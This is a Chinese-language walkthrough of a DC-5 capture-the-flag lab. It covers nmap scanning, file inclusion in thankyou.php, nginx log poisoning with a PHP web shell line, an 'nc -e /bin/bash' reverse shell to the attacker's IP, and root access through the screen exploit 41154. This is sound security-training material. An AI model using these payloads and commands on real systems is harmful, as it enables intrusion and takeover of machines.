渗透测试学习之靶机DC-5
过程
1. 探测目标主机
nmap -sP 192.168.246.0/24
,得到目标主机IP:192.168.246.142
2. 信息搜集
-
端口信息
nmap -sV -p 1-65535 192.168.246.142
-
web站点相关服务信息
-
目录信息
看到footer.php,这个页面在前面点站点功能的时候没有看到…
这是每个页面末尾的标注,并且每访问一次都会随机变换,发现其他页面刷新并不会变换,但是thankyou.php也会随机变换。
应该是thankyou.php调用了footer.php,即thankyou.php可能包含了footer.php。
3. 文件包含getshell
-
测试
抓包后,url后增加?file=/etc/passwd
,放,查看响应包:
到这发现文件包含了,参考大佬文章如何进行下一步操作知道:GET请求目标后会在日志文件中记录,可以将一句话写在请求的URL后,下图角标处(即替换/phpinfo.php),这样访问日志文件可以将一句话读取出来:
(图中是使用phpstudy中查看nginx的配置文件信息) -
写入一句话
<?php system($_GET['cmd']); ?>
access.log文件较大,在var/log/nginx/error.log下没有发现错误请求信息,说明已经写入了access.log。 -
反弹shell
在kali上监听8888端口,然后访问此url:http://192.168.246.142/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.246.138 8888
获取交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
4.提权
查找符合条件的文件:find / -perm -u=s -type f 2>/dev/null
使用searchsploit查找响应漏洞:searchsploit screen
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
按照教程走就行:
得到了两个文件libhax.so和rootshell后,把它们上传到靶机里。
使用scp命令获取kali里的这两个文件,前提需要配置开启kali的ssh服务:scp [email protected]:/tmp/libhax.so /tmp/
scp [email protected]:/tmp/rootshell /tmp/
成功上传到靶机里:
继续按照41154.sh的教程就行:
进入root目录,得到thisistheflag.txt:
总结
- 配置kali ssh服务
- 参考文章